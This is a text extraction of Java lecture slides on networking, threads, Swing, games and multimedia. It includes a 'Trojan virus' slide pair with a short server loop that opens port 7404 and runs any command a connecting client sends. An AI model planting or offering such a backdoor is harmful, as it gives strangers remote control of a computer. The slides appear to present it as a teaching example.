Once you start the server program, it waits for some client to attach to its port. We chose port number 8189, which is not used by any of the standard services. The ServerSocketclass establishes a socket. In our case, the command

ServerSocket s = new ServerSocket(8189);

establishes a server that monitors port 8189. The command

Socket incoming = s.accept();

tells the program to wait indefinitely until a client connects to that port.

Once someone connects to this port by sending the correct request over the network, this method returns a Socketobject that represents the connection that was made.

13

Page 207: Taner Erkan Java 2 lecture Ders notları

EchoServer implementation

try { ServerSocket s = new ServerSocket(8189);

Socket incoming = s.accept( );

try { InputStream inStream = incoming.getInputStream();

OutputStream outStream = incoming.getOutputStream();

Scanner in = new Scanner(inStream);PrintWriter out = new PrintWriter(outStream, true /* autoFlush */);out.println( "Hello! Enter BYE to exit." );

boolean done = false;

while (!done && in.hasNextLine()) {

String line = in.nextLine();

out.println("Echo: " + line);

if (line.trim().equals("BYE"))

done = true;

}

}finally{ incoming.close(); }

} catch (IOException e) { e.printStackTrace(); }14

Page 208: Taner Erkan Java 2 lecture Ders notları

Serving Multiple Clients

There is one problem with the simple server in the preceding example.

Suppose we want to allow multiple clientsto connect to our server at the same time.

Typically, a server runs constantly on a server computer, and clients from all over the Internet may want to use the server at the same time.

We can do this through the magic of threads.

15

Page 209: Taner Erkan Java 2 lecture Ders notları

Implement threaded server Every time we know the program has established a

new socket connection, that is, when the call to acceptwas successful, we will launch a new thread to take care of the connection between the server and that client. The main program will just go back and wait for the next connection.

For this to happen, the main loop of the server should look like this:

1. while (true)

2. {

3. Socket incoming = s.accept();

4. Runnable r = new ThreadedEchoHandler(incoming);

5. Thread t = new Thread(r);

6. t.start();

7. }16

Page 210: Taner Erkan Java 2 lecture Ders notları

The ThreadedEchoHandler class implements Runnable and

contains the communication loop with the client in its run

method.

1. class ThreadedEchoHandler implements Runnable

2. { . . .

3. public void run() {

4. try{

5. InputStream inStream = incoming.getInputStream();

6. OutputStream outStream = incoming.getOutputStream();

7. // process input and send response

8. incoming.close();

9. } catch(IOException e) {

10. // handle exception

11. }

12. }

13. }17

Page 211: Taner Erkan Java 2 lecture Ders notları

Connectionless Client/Server

Interaction with Datagrams

We have been discussing connection-

oriented, streams-based transmission.

Now we consider connectionless

transmission with datagrams.

18

Page 212: Taner Erkan Java 2 lecture Ders notları

Explanation Connectionless transmission with datagrams is

more like the way mail is carried via the postal service.

If a large message will not fit in one envelope, you break it into separate message pieces that you place in separate, sequentially numbered envelopes.

Each of the letters is then mailed at the same time. The letters could arrive in order, out of order or not at all (the last case is rare, but it does happen).

The person at the receiving end reassembles the message pieces into sequential order before attempting to make sense of the message.

One difference between datagrams and postal mail is that duplicates of datagrams can arrive at the receiving computer.19

Page 213: Taner Erkan Java 2 lecture Ders notları

Establish Server

DatagramSocket socket; // socket to connect to client

socket = new DatagramSocket( 5000 ); //server port

byte data[] = new byte[ 100 ]; // set up packet

DatagramPacket receivePacket =

new DatagramPacket( data, data.length );

socket.receive( receivePacket ); // wait to receive packet

// create packet to send

DatagramPacket sendPacket = new DatagramPacket( receivePacket.getData(), receivePacket.getLength(), receivePacket.getAddress(), receivePacket.getPort() );

socket.send( sendPacket ); // send packet to client20

Page 214: Taner Erkan Java 2 lecture Ders notları

Create UDP ClientDatagramSocket socket; // socket to connect to server

socket = new DatagramSocket();

byte data[] = message.getBytes(); // convert to bytes

// create sendPacket

DatagramPacket sendPacket = new DatagramPacket( data, data.length, InetAddress.getLocalHost(), 5000 );

socket.send( sendPacket ); // send packet

//receive packet

byte data[] = new byte[ 100 ]; // set up packet

DatagramPacket receivePacket = new DatagramPacket(

data, data.length ); socket.receive( receivePacket ); // wait for packet

21

Page 215: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 216: Taner Erkan Java 2 lecture Ders notları

Lecture 8Chapter ??

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

Core Java™ 2 Volume I - Fundamentals, Seventh Edition

By Cay S. Horstmann, Gary Cornell

• Andrey Bogdanchikov

By:

Page 217: Taner Erkan Java 2 lecture Ders notları

Game Templates, Dynamic programs

Introduction

Image using

Box Mover example

Snake game prototype

Java Browser

Car Races

Trojan Virus2

Page 218: Taner Erkan Java 2 lecture Ders notları

Introduction

We learned a lot of topics for interactive

java programming.

But, sometimes it is hard to adapt this

knowledge in real programs.

So today we discuss some examples that

can be used to create complex

applications.

Ok let’s start then…

3

Page 219: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 4

Image

You have already seen how to build up simple

images by drawing lines and shapes.

Complex images, such as photographs, are usually

generated externally, for example, with a scanner

or special image-manipulation software.

Once images are stored in local files or someplace

on the Internet, you can read them into a Java

application and display them on Graphics objects.

4

Page 220: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 5

Read image

As of JDK 1.4, reading an image is very simple. If the image is stored in a local file, call

String filename = "...";

Image image = ImageIO.read(new File(filename));• Otherwise, you can supply a URL:

String urlname = "...";

Image image = ImageIO.read(new URL(urlname)); The read method throws an IOException if the image is not

available.

For now, our sample program just catches that exception and prints a stack trace if it occurs.

5

Page 221: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 6

Draw image

Now the variable image contains a reference to an

object that encapsulates the image data.

You can display the image with the drawImage

method of the Graphics class.

1. public void paintComponent(Graphics g){

2. . . .

3. // draw image on point(x,y) no ImageObjesrver

4. g.drawImage(image, x, y, null);

5. }

6

Page 222: Taner Erkan Java 2 lecture Ders notları

Box Mover

7

Page 223: Taner Erkan Java 2 lecture Ders notları

Explanation

Box Mover program we can separate into

several steps:

1. Loading map

2. Drawing map on panel

3. Handling user motions

4. Main

8

Page 224: Taner Erkan Java 2 lecture Ders notları

Loading map1. Scanner in = new Scanner(new File(mapFile));2. int n = in.nextInt(); int m = in.nextInt(); map = new MapItem[n][m];3. for (int i = 0; i < n; i++) {4. for (int j = 0; j < m; j++) {5. int x = in.nextInt();6. switch (x) {7. case 5: I = i; J = j; map[i][j] = MapItem.EMPTY; break;8. case 0: map[i][j] = MapItem.EMPTY; break;9. case 1: map[i][j] = MapItem.WALL; break;10. case 2: map[i][j] = MapItem.BOX; break;11. case 3: map[i][j] = MapItem.HOLE; break;12. default: // if any unknown numbers are written13. map[i][j] = MapItem.EMPTY;14. }15. }16. }17. in.close();

9

Page 225: Taner Erkan Java 2 lecture Ders notları

Drawing map on panel1. public void paintComponent(Graphics g) {

2. super.paintComponent(g);

3. setBackground(Color.WHITE);

4. for (int i = 0; i < map.length; i++)

5. for (int j = 0; j < map[i].length; j++) {

6. // Image s = empty;

7. switch (map[i][j]) {

8. case EMPTY: g.setColor(Color.LIGHT_GRAY); break;

9. case WALL: g.setColor(Color.BLACK); break;

10. case BOX: g.setColor(Color.GREEN); break;

11. case HOLE: g.setColor(Color.YELLOW); break;

12. case BOX_IN_HOLE: g.setColor(Color.RED); break;

13. }

14. //g.drawImage(s,j*CELL_WIDTH,i*CELL_HEIGHT,CELL_WIDTH,CELL_HEIGHT);

15. g.fillRect(j * CELL_WIDTH, i * CELL_HEIGHT, CELL_WIDTH, CELL_HEIGHT);

16. }

17. g.setColor(Color.BLUE);

18. g.fillRect(J * CELL_WIDTH, I * CELL_HEIGHT, CELL_WIDTH, CELL_HEIGHT);19. }10

Page 226: Taner Erkan Java 2 lecture Ders notları

Handling user motions

1. public void keyPressed(KeyEvent e) {

2. if (e.getKeyCode() == e.VK_UP) {

3. I--; // step if possible

4. if (map[I][J] == MapItem.BOX && map[I - 1][J] == MapItem.HOLE) {

5. map[I - 1][J] = MapItem.BOX_IN_HOLE; //put box in hole

6. map[I][J] = MapItem.EMPTY;

7. } else

8. if (map[I][J] == MapItem.BOX && map[I - 1][J] == MapItem.EMPTY) {

9. map[I - 1][J] = MapItem.BOX; // move box

10. map[I][J] = MapItem.EMPTY;

11. } else if (map[I][J] != MapItem.EMPTY) {

12. I++; // go back if impossible to step here

13. }

14. }

15. … // perform same actions for each direction16. }11

Page 227: Taner Erkan Java 2 lecture Ders notları

Main

1. public class BoxMoverMain {

2. public static BoxPanel panel =new BoxPanel();

3. public static void main(String args[]){

4. JFrame frame = new JFrame("Box Mover");

5. frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

6. frame.add(panel);

7. panel.setFocusable(true);

8. // adjust size of frame to preffered sizes of components

9. frame.pack();

10. frame.setVisible(true);

11. }12. }12

Page 228: Taner Erkan Java 2 lecture Ders notları

Snake game

13

Page 229: Taner Erkan Java 2 lecture Ders notları

Explanation

Snake game have a snake on screen that moves by its own, and increases when items are eaten.

So here we see that threads should be used.

1. Move Snake by its own

2. Check bounds and item location

3. Handle user actions

14

Page 230: Taner Erkan Java 2 lecture Ders notları

Move Snake by its own1. public void run() {2. Point p = new Point(0,0);3. while(true){4. switch(dir){5. case 0: // left6. p = new Point(label.getX()-dx, label.getY());7. label.setLocation(fix(p)); break;8. case 1: // up9. p = new Point(label.getX(), label.getY()-dy);10. label.setLocation(fix(p)); break;11. case 2: // right12. p = new Point(label.getX()+dx, label.getY());13. label.setLocation(fix(p)); break;14. case 3:// down15. p = new Point(label.getX(), label.getY()+dy);16. label.setLocation(fix(p));17. }18. try{ Thread.sleep(10);19. }catch(Exception e){ e.printStackTrace(); }20. }21. }15

Page 231: Taner Erkan Java 2 lecture Ders notları

Check coordinates

1. private Point fix(Point l) {

2. Rectangle headBounds = label.getBounds();

3. Rectangle picBounds = pic.getBounds();

4. if(headBounds.intersects(picBounds)){

5. randomizePicLocation();

6. // increase snake size

7. }

8. if(l.x<0) l.x = getContentPane().getWidth()-label.getWidth();

9. if(l.y<0) l.y = getContentPane().getHeight()-label.getHeight();

10. if(l.x>getContentPane().getWidth()-label.getWidth()) l.x = 0;

11. if(l.y>getContentPane().getHeight()-label.getHeight()) l.y = 0;

12. return l;13. }

16

Page 232: Taner Erkan Java 2 lecture Ders notları

Handle user actions

1. public void keyPressed(KeyEvent e){2. if(e.getKeyCode()==e.VK_UP){3. if(dir!=3) dir = 1;4. }5. else if(e.getKeyCode()==e.VK_DOWN){6. if(dir!=1) dir = 3;7. }8. else if(e.getKeyCode()==e.VK_LEFT){9. if(dir!=2) dir = 0;10. }11. else if(e.getKeyCode()==e.VK_RIGHT){12. if(dir!=0) dir = 2;13. }14. label.setIcon(heads[dir]);15. }

17

Page 233: Taner Erkan Java 2 lecture Ders notları

Java Browser

18

Page 234: Taner Erkan Java 2 lecture Ders notları

Explanation

It is easily done by pre-created classes of

java.

So steps are:

1. Create frame

2. Load page

3. Hyperlink Update

19

Page 235: Taner Erkan Java 2 lecture Ders notları

Create frame1. public BrowserFrame() {2. super("Java Browser");3. browserLine = new JTextField(100);4. go = new JButton("GO");5. JPanel topPanel = new JPanel(new BorderLayout());6. topPanel.add(browserLine, BorderLayout.CENTER);7. topPanel.add(go, BorderLayout.EAST);8. ActionListener handler = new ActionListener() {9. public void actionPerformed(ActionEvent e) {10. loadPage();11. }12. };13. go.addActionListener(handler);14. browserLine.addActionListener(handler);15. add(topPanel, BorderLayout.NORTH);16. pane = new JEditorPane(); // html container17. add(new JScrollPane(pane), BorderLayout.CENTER);18. pane.addHyperlinkListener(this);19. pane.setEditable(false);20. setSize(400, 500);21. }20

Page 236: Taner Erkan Java 2 lecture Ders notları

Load page

1. public void loadPage() {

2. String urlString = browserLine.getText();

3. if (!urlString.startsWith("http://")) {

4. urlString = "http://" + urlString;

5. }

6. try {

7. pane.setPage(urlString);

8. } catch (IOException ex) {

9. JOptionPane.showMessageDialog(this, "Loading error:" + ex.getMessage() );

10. }11. }

21

Page 237: Taner Erkan Java 2 lecture Ders notları

Hyperlink update

1. public void hyperlinkUpdate(HyperlinkEvent event) {

2. if (event.getEventType() == HyperlinkEvent.EventType.ACTIVATED) {

3. try {

4. pane.setPage(event.getURL());

5. browserLine.setText(event.getURL().toExternalForm());

6. } catch (IOException ioe) {

7. JOptionPane.showMessageDialog(this,

8. "Can't follow link to " + event.getURL().toExternalForm() );

9. }

10. }

11. }22

Page 238: Taner Erkan Java 2 lecture Ders notları

Car Races

23

Page 239: Taner Erkan Java 2 lecture Ders notları

Server

1. ServerSocket server = new ServerSocket(10101); 2. System.out.println("Server started on port 10101..."); 3. while(!finished){4. Socket client = server.accept();5. ClientConnection c = new 6. ClientConnection(client,counter++);7. clients.add(c); c.start();8. System.out.println("New client connected..."); 9. } 10. System.out.println("Game OVER");

24

Page 240: Taner Erkan Java 2 lecture Ders notları

Create connection

1. try{

2. myName = JOptionPane.showInputDialog("What is your name?",

myName );

3. Socket s = new Socket(host, 10101);

4. con = new ServerConnection(s,myName);

5. con.start();

6. }catch(IOException e){

7. return false;

8. }

25

Page 241: Taner Erkan Java 2 lecture Ders notları

Trojan virus

Program that runs in background on

server.

Opens port 7404, and any client who

connects to this port can run any

command on this computer.

26

Page 242: Taner Erkan Java 2 lecture Ders notları

Server

1. ServerSocket ss = new ServerSocket(7404);

2. while(true){

3. Socket s = ss.accept();

4. try{

5. PrintWriter out = new PrintWriter(s.getOutputStream(),true);

6. out.println("Enter system commands to run:");

7. Scanner in = new Scanner(s.getInputStream());

8. String line = in.nextLine();

9. while(line!=null&&!line.equals("exit")){

10. runProgram(line);

11. line = in.nextLine();

12. }

13. }catch(Exception e){

14. e.printStackTrace();

15. }

16. }27

Page 243: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 244: Taner Erkan Java 2 lecture Ders notları

Lecture 9Chapter 21

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

Core Java™ 2 Volume I - Fundamentals, Seventh Edition

By Cay S. Horstmann, Gary Cornell

• Andrey Bogdanchikov

By:

Page 245: Taner Erkan Java 2 lecture Ders notları

Content

Introduction

Loading and Scaling Images

Animation

Timer

Playing Sound

JMF

2

Page 246: Taner Erkan Java 2 lecture Ders notları

Introduction

The "sizzle" of Java is multimedia the use of

sound, images, graphics and video to make

applications "come alive."

Page 247: Taner Erkan Java 2 lecture Ders notları

This chapter

This chapter presents several examples of

interesting multimedia features that you will

need to build useful applications, including:

1. the basics of manipulating images.

2. creating smooth animations.

3.playing audio files with the AudioClip

interface.

4. creating image maps that can sense when the

cursor is over them, even without a mouse

click.

5. playing video files using the Player interface.

Page 248: Taner Erkan Java 2 lecture Ders notları

Loading, Displaying and Scaling Images

Java's multimedia capabilities include

graphics, images, animations, sounds

and video.

We begin our discussion with images.

Developers can create such images

with any image software, such as

Adobe® Photoshop™, Jasc® Paint

Shop Pro™ or Microsoft® Paint.

Page 249: Taner Erkan Java 2 lecture Ders notları

Image or ImageIcon

The applet displays the Image in its original size and

scaled to a larger size, using two versions of Graphics

method drawImage.

The applet also draws the ImageIcon, using the icon's

method paintIcon.

Class ImageIcon implements interface Serializable,

which allows ImageIcon objects to be easily written to a

file or sent across the Internet.

Class ImageIcon is also easier to use than Image,

because its constructor can receive arguments of several

different formats, including a byte array containing the

bytes of an image, an Image already loaded in memory,

and a String or a URL object, which both can be used to

represent the location of the image.

Page 250: Taner Erkan Java 2 lecture Ders notları

Example

1. public class LoadImageAndScale extends JApplet {

2. private Image image1; // create Image object

3. private ImageIcon image2; // create ImageIcon object

4. // load image when applet is loaded

5. public void init() {

6. //image1 = ImageIO.read(“redflowers.png”);

7. image1 = getImage( getDocumentBase(), "redflowers.png" );

8. image2 = new ImageIcon( "yellowflowers.png" );

9. } // end method init

10. //...............................................................

Page 251: Taner Erkan Java 2 lecture Ders notları

Example continue

1. // display image

2. public void paint( Graphics g ) {

3. super.paint( g );

4. g.drawImage( image1, 0, 0, this ); // draw original image

5. // draw image to fit the width and the height less 120 pixels

6. g.drawImage( image1, 0, 120, getWidth(), getHeight() - 120,

this );

7. // draw icon using its paintIcon method

8. image2.paintIcon( this, g, 180, 0 );

9. } // end method paint

10. } // end class LoadImageAndScale

Page 252: Taner Erkan Java 2 lecture Ders notları

Result

Page 253: Taner Erkan Java 2 lecture Ders notları

Animating a Series of Images

The next example demonstrates animating a series of images that are stored in an array of ImageIcons.

public class LogoAnimatorJPanel extends JPanel {

private final static String IMAGE_NAME = "deitel";

protected ImageIcon images[]; // array of images

private final int TOTAL_IMAGES = 30; // number of images

private int currentImage = 0; // current image index

private final int ANIMATION_DELAY = 50; // millisecond delay

private Timer animationTimer; // Timer drives animation

Page 254: Taner Erkan Java 2 lecture Ders notları

Timer

In this example class Timer from

javax.swing library is used.

Timer generates ActionEvents on fixed

interval of milliseconds, that is defined,

generally, in constructor.

With help of Timer class you can avoid

the complex way of Threads, in this kind

of cases.

Page 255: Taner Erkan Java 2 lecture Ders notları

Constructor

1. // constructor initializes LogoAnimatorJPanel by loading images

2. public LogoAnimatorJPanel() {

3. images = new ImageIcon[ TOTAL_IMAGES ];

4. // load 30 images

5. for ( int count = 0; count < images.length; count++ )

6. images[ count ] = new ImageIcon( getClass().getResource(

7. "images/" + IMAGE_NAME + count + ".gif" ) );

8. // this example assumes all images have the same width and height

9. width = images[ 0 ].getIconWidth(); // get icon width

10. height = images[ 0 ].getIconHeight(); // get icon height

11. } // end LogoAnimatorJPanel constructor

Page 256: Taner Erkan Java 2 lecture Ders notları

paintComponent

1. public void paintComponent( Graphics g )

2. {

3. super.paintComponent( g ); // call superclass paintComponent

4. images[ currentImage ].paintIcon( this, g, 0, 0 );

5. // set next image to be drawn only if timer is running

6. if ( animationTimer.isRunning() )

7. currentImage = ( currentImage + 1 ) % TOTAL_IMAGES;

8. } // end method paintComponent

Page 257: Taner Erkan Java 2 lecture Ders notları

Start Animation1. // start animation, or restart if window is redisplayed

2. public void startAnimation() {

3. if ( animationTimer == null ) {

4. currentImage = 0; // display first image

5. // create timer

6. animationTimer =

7. new Timer( ANIMATION_DELAY, new TimerHandler() );

8. animationTimer.start(); // start timer

9. } else { // animationTimer already exists, restart animation

10. if ( ! animationTimer.isRunning() )

11. animationTimer.restart();

12. } // end else

13. } // end method startAnimation

Page 258: Taner Erkan Java 2 lecture Ders notları

Timer Handler

1. public void stopAnimation() {

2. animationTimer.stop();

3. } // end method stopAnimation

4. // inner class to handle action events from Timer

5. private class TimerHandler implements ActionListener {

6. // respond to Timer's event

7. public void actionPerformed( ActionEvent actionEvent ) {

8. repaint(); // repaint animator

9. } // end method actionPerformed

10. } // end class TimerHandler

11. } // end class LogoAnimatorJPanel

Page 259: Taner Erkan Java 2 lecture Ders notları

Main

1. public class LogoAnimator {

2. // execute animation in a JFrame

3. public static void main( String args[] ) {

4. LogoAnimatorJPanel animation = new LogoAnimatorJPanel();

5. JFrame window = new JFrame( "Animator test" ); // set up window

6. window.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );

7. window.add( animation ); // add panel to frame

8. window.pack(); // make window just large enough for its GUI

9. window.setVisible( true ); // display window

10. animation.startAnimation(); // begin animation

11. } // end main

12. } // end class LogoAnimator

Page 260: Taner Erkan Java 2 lecture Ders notları

Image Maps

Image maps are commonly used to create

interactive Web pages.

An image map is an image with hot areas

that the user can click to accomplish a task,

such as loading a different Web page into a

browser.

When the user positions the mouse

pointer over a hot area, normally a

descriptive message appears in the

status area of the browser or in a tool tip.

Page 261: Taner Erkan Java 2 lecture Ders notları

Image Map example(self-study)

Page 262: Taner Erkan Java 2 lecture Ders notları

Loading and Playing Audio Clips

Java programs can manipulate and play

audio clips.

Users can capture their own audio clips,

and many clips are available in software

products and over the Internet.

Your system needs to be equipped with

audio hardware (speakers and a sound

card) to be able to play the audio clips.

Page 263: Taner Erkan Java 2 lecture Ders notları

Play

Java provides several mechanisms for playing sounds in

an applet. The two simplest are the Applet's play method

and the play method of the AudioClip interface.

Additional audio capabilities are available in the Java

Media Framework and Java Sound APIs.

If you would like to play a sound once in a program, the

Applet method play loads the sound and plays it once the

sound is marked for garbage collection after it plays.

The Applet method play has two versions:

public void play( URL location, String soundFileName );

public void play( URL soundURL );

Page 264: Taner Erkan Java 2 lecture Ders notları

Sound engine

The sound engine that plays the audio clips supports

several audio file formats, including Sun Audio file format

(.au extension), Windows Wave file format (.wav

extension), Macintosh AIFF file format (.aif or .aiff

extensions) and Musical Instrument Digital Interface

(MIDI) file format (.mid or .rmi extensions).

The Java Media Framework (JMF) and Java Sound APIs

support additional formats.

The program of Fig. 21.5 demonstrates loading and

playing an AudioClip (package java.applet).

This technique is more flexible than Applet method

play. An applet can use an AudioClip to store audio for

repeated use throughout a program's execution.

Page 265: Taner Erkan Java 2 lecture Ders notları

Steps

1 . Create reference to AudioClip object:

Ex: private AudioClip sound1, sound2, currentSound;

2. Load sounds to memory:

Ex: // from JApplet object

sound1 = getAudioClip( getDocumentBase(), "welcome.wav" );

sound2 = getAudioClip( getDocumentBase(), "hi.au" );

OR // from any other place

sound2 = Applet.newAudioClip(new URL(“url to sound”));

3. play sound in corresponding handlers:

ex: if ( actionEvent.getSource() == playJButton )

currentSound.play(); // play AudioClip once

Page 266: Taner Erkan Java 2 lecture Ders notları
Page 267: Taner Erkan Java 2 lecture Ders notları

Playing Video and Other Media

with Java Media Framework A simple video can concisely and effectively convey a great

deal of information.

Recognizing the value of bringing extensible multimedia

capabilities to Java, Sun Microsystems, Intel and Silicon

Graphics worked together to produce the multimedia API

Java Media Framework (JMF), discussed briefly in Section

21.1.

Using the JMF API, programmers can create Java applications

that play, edit, stream and capture many popular media types.

While the features of JMF are quite extensive, this section

briefly introduces some popular media formats and

demonstrates playing video using the JMF API.

THIS TOPIC ALSO FOR YOU FOR SELF-STUDY

Page 268: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 269: Taner Erkan Java 2 lecture Ders notları

Lecture 10Chapter 22

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

Core Java™ 2 Volume I - Fundamentals, Seventh Edition

By Cay S. Horstmann, Gary Cornell

• Andrey Bogdanchikov

By:

Page 270: Taner Erkan Java 2 lecture Ders notları

Content

Introduction

JSlider

Windows: Aditional Notes

Using Menus with Frames

JPopupMenu

Pluggable Look-and-Feel

MDI – multiple-document interface

JTabbedPane

Layout Managers: BoxLayout and GridLayout2

Page 271: Taner Erkan Java 2 lecture Ders notları

JSlider

JSliders enable the user to select from a range of integer

values.

JSliders can be customized to display major tick marks,

minor tick marks and labels for the tick marks.

They also support snap-to ticks, which cause the thumb to

snap to the closest tick mark when it is positioned

between two tick marks.

Page 272: Taner Erkan Java 2 lecture Ders notları

slider

JSliders have either a horizontal orientationor a vertical orientation. For a horizontal JSlider, the minimum value is at the left endof the JSlider and the maximum is at the right end.

For a vertical JSlider, the minimum value is at the bottom and the maximum is at the top.

The minimum and maximum value positions on a JSlider can be reversed by invoking JSlidermethod setInverted with boolean argumenttrue. The relative position of the thumbindicates the current value of the JSlider.

Page 273: Taner Erkan Java 2 lecture Ders notları

Example diameterJSlider =

new JSlider( SwingConstants.HORIZONTAL, 0, 200, 10 );

diameterJSlider.setMajorTickSpacing( 10 ); // create tick every 10

diameterJSlider.setPaintTicks( true ); // paint ticks on slider

// register JSlider event listener

diameterJSlider.addChangeListener(

new ChangeListener() { // anonymous inner class

// handle change in slider value

public void stateChanged( ChangeEvent e ) {

myPanel.setDiameter( diameterJSlider.getValue() );

} // end method stateChanged

} // end anonymous inner class

); // end call to addChangeListener

Page 274: Taner Erkan Java 2 lecture Ders notları

Windows:Additional Note

In this section, we discuss several important JFrame issues. A JFrame is a window with a title bar and a border. Class JFrame is a subclass of java.awt.Frame(which is a subclass of java.awt.Window).

As such, JFrame is one of the few Swing GUI components that is not a lightweight GUI component. When you display a window from a Java program, the window is provided by the local platform's windowing toolkit, and therefore the window will look like every other window displayed on that platform.

Page 275: Taner Erkan Java 2 lecture Ders notları

WindowListener

When the user manipulates the window, this action generates window events. Event listeners are registered for window events with Window method addWindowListener.

Interface WindowListener provides seven window-event-handling methods windowActivated (called when the user makes a window the active window), windowClosed (called after the window is closed), windowClosing (called when the user initiates closing of the window), windowDeactivated (called when the user makes another window the active window), windowDeiconified(called when the user restores a window from being minimized), windowIconified (called when the user minimizes a window) and windowOpened (called when a program first displays a window on the screen).

Page 276: Taner Erkan Java 2 lecture Ders notları

Using Menus with Frames

Menus are an integral part of GUIs. Menus

allow the user to perform actions without

unnecessarily cluttering a GUI with extra

components. In Swing GUIs, menus can

be attached only to objects of the classes

that provide method setJMenuBar.

Two such classes are JFrame and JApplet.

The classes used to declare menus are

JMenuBar, JMenu, JMenuItem,

JCheckBoxMenuItem and class

JRadioButtonMenuItem.

Page 277: Taner Erkan Java 2 lecture Ders notları

Menu

Class JMenuBar (a subclass of JComponent) contains the

methods necessary to manage a menu bar, which is a

container for menus.

Class JMenu (a subclass of javax.swing.JMenuItem) contains

the methods necessary for managing menus. Menus contain

menu items and are added to menu bars or to other menus

as submenus. When a menu is clicked, it expands to show its

list of menu items.

Class JMenuItem (a subclass of

javax.swing.AbstractButton) contains the methods necessary

to manage menu items. A menu item is a GUI component

inside a menu that, when selected, causes an action event. A

menu item can be used to initiate an action or it can be a

submenu that provides more menu items from which the

user can select. Submenus are useful for grouping related

menu items in a menu.

Page 278: Taner Erkan Java 2 lecture Ders notları

JPopupMenu

Many of today's computer applications provide so-called context-sensitive pop-up menus. In Swing, such menus are created with class JPopupMenu (a subclass of JComponent).

These menus provide options that are specific to the component for which the popup trigger event was generated. On most systems, the pop-up trigger event occurs when the user presses and releases the right mouse button.

Page 279: Taner Erkan Java 2 lecture Ders notları

example

The application in Figure 22.7 and Fig. 22.8 creates a JPopupMenu that allows the user to select one of three colors and change the background color of the window.

When the user clicks the right mousebutton on the PopupTest window's background, a JPopupMenu containing colors appears. If the user clicks a JRadioButtonMenuItem for a color, ItemHandler method actionPerformedchanges the background color of the window's content pane.

Page 280: Taner Erkan Java 2 lecture Ders notları

Pluggable Look-and-Feel

A program that uses Java's Abstract Window Toolkit

GUI components (package java.awt) takes on the look-

and-feel of the platform on which the program

executes.

This is sometimes desirable, because it allows

users of the application on each platform to use GUI

components with which they are already familiar.

However, it also introduces interesting portability

issues.

Swing's lightweight GUI components eliminate many

of these issues by providing uniform functionality

across platforms and by defining a uniform cross-

platform look-and-feel (known as the metal look-

and-feel).

Page 281: Taner Erkan Java 2 lecture Ders notları

Example

Page 282: Taner Erkan Java 2 lecture Ders notları

Some Explanation

Class UIManager (package javax.swing)contains nested class LookAndFeelInfo (a public static class) that maintains information about a look-and-feel.

Line 22 declares an array of type UIManager.LookAndFeelInfo (note the syntax used to identify the inner class LookAndFeelInfo).

Line 68 uses UIManager static method getInstalledLookAnd-Feels to get the array of UIManager.LookAndFeelInfo objects that describe each look-and-feel available on your system.

Page 283: Taner Erkan Java 2 lecture Ders notları

JDesktopPane and JInternalFrame

(self-study)

Page 284: Taner Erkan Java 2 lecture Ders notları

JTabbedPane

A JTabbedPane arranges GUI components

into layers in which only one layer is visible at a

time. Users access each layer via a tab similar to

folders in a file cabinet. When the user clicks a tab,

the appropriate layer is displayed.

The tabs appear at the top by default but also

can be positioned at the left, right or bottom of

the JTabbedPane.

Any component can be placed on a tab. If the

component is a container, such as a panel, it can

use any layout manager to layout several

components on the tab.

Page 285: Taner Erkan Java 2 lecture Ders notları

Tabs code

JTabbedPane tabbedPane = new JTabbedPane(); // create

JtabbedPane

JLabel label1 = new JLabel( "panel one",

SwingConstants.CENTER );

JPanel panel1 = new JPanel(); // create first panel

panel1.add( label1 ); // add label to panel

tabbedPane.addTab( "Tab One", null, panel1, "First Panel" );

....

tabbedPane.addTab( "Tab Two", null, panel2, "Second Panel" );

....

tabbedPane.addTab( "Tab Three", null, panel3, "Third Panel" );

add( tabbedPane ); // add JTabbedPane to frame

Page 286: Taner Erkan Java 2 lecture Ders notları

Tabs example

Page 287: Taner Erkan Java 2 lecture Ders notları

Layout Managers: BoxLayout and

GridBagLayout In Chapter 11, we introduced three layout

managers FlowLayout, BorderLayout

and GridLayout.

This section presents two additional

layout managers (summarized in Fig.

22.15).

We discuss these layout managers in

the examples that follow.

Page 288: Taner Erkan Java 2 lecture Ders notları

Layout table

Page 289: Taner Erkan Java 2 lecture Ders notları

BoxLayout Layout Manager

Box vertical1 = Box.createVerticalBox();

Box horizontal2 = Box.createHorizontalBox();

for ( int count = 0; count < SIZE; count++ ){

vertical1.add( Box.createVerticalStrut( 25 ) );

vertical1.add( new JButton( "Button " + count ) );}

for ( int count = 0; count < SIZE; count++ ) {

horizontal2.add( Box.createHorizontalGlue() );

horizontal2.add( new JButton( "Button " + count ) ); }

JPanel panel = new JPanel();

panel.setLayout( new BoxLayout( panel, BoxLayout.Y_AXIS ) );

panel.add( Box.createGlue() );

panel.add( new JButton( "Button " + count ) );

Page 290: Taner Erkan Java 2 lecture Ders notları

GridBagLayout Layout Manager

The most complex and most powerful of the predefined layout managers is GridBagLayout (in package java.awt). This layout is similar to GridLayout in that it arranges components in a grid.

However, GridBagLayout is more flexible. The components can vary in size (i.e., they can occupy multiple rows and columns) and can be added in any order.

Page 291: Taner Erkan Java 2 lecture Ders notları

Self Study

GridBagLayout

And

22.7. JDesktopPane and JInternalFrame

Many of today's applications use a multiple-

document interface (MDI)a main window

(called the parent window) containing other

windows (called child windows), to manage

several open documents that are being

processed in parallel.

Page 292: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 293: Taner Erkan Java 2 lecture Ders notları

Lecture 11Chapter 25

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

Core Java™ 2 Volume I - Fundamentals, Seventh Edition

By Cay S. Horstmann, Gary Cornell

• Andrey Bogdanchikov

By:

Page 294: Taner Erkan Java 2 lecture Ders notları

Content

Introduction

Relational Databases

SQL

Instructions to install MySQL and MySQL

